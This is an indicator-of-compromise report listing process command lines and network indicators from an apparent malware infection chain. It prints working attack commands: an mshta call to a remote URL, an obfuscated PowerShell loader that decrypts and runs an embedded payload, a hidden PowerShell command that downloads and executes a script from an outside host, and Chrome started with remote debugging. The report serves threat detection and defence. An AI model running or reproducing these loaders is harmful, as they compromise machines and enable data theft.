IOC Report

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\system32\mshta.exe" https://pawpaws.readit-carfanatics.com/madonna.mp4

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896FE271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B63195F3779B0F8E07AE51936D7659CF47354C6662908568295088267D164DBF8CD609767B8170DEFEE21B10CE5C7244C519247C7C2F9CE8D7FA4027320E443B37F498F4BCDE2E63A97AC0167DCBD9DF73193FA93B3A82859FC1C7C6A740DD7140682426D7269E3DDEB5AB9467EC828C2C24E5D9149A12D98DFF32D05203D7536888907C29CA12DFCFB29B179E5F80DF3C545318D33794FAE90BEC7C573D81530A72C3E1664C1FCD78FFE0CC509A78F2E435BEE0A9EE5E4C0F5F6825B6883A784655B387AC0A63D3779D94D06E0C3BFC63D493D83B351266304E3C6A7FE938DB9F5FFD576369C82CA0050C55C2E8E82286D9AC048EE0F6E20CF515B8D1A1268959B2D3E695204352487CF3533397B42917060A182262AA9F2EA0B93E6742C4A2C669E95CD728');$MIDMd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((qtyVd('794A5742476F737A6A656E545246734B')),[byte[]]::new(16)).TransformFinalBlock($ZKIHj,0,$ZKIHj.Length)); & $MIDMd.Substring(0,3) $MIDMd.Substring(129)

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command & {'2LT'|ForEach-Object {SI Variable:2LT ([PowerShell]::Create()); [Void](Get-Item Variable:\2LT).Value.AddScript((([System.Net.WebClient]::New().((([System.Net.WebClient]::New()|Get-Member)|Where-Object{(Get-Variable _ -Value).Name -ilike '*wn*d*g'}).Name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (Get-Item Variable:\2LT).Value.Invoke(); (Get-Item Variable:\2LT).Value.Dispose()}}

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2700,i,6766550115079121299,15860530611730691376,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2692 /prefetch:3

https://pawpaws1.readit-carfanatics.com/madonna.vstx

172.67.201.143

grannyejh.lat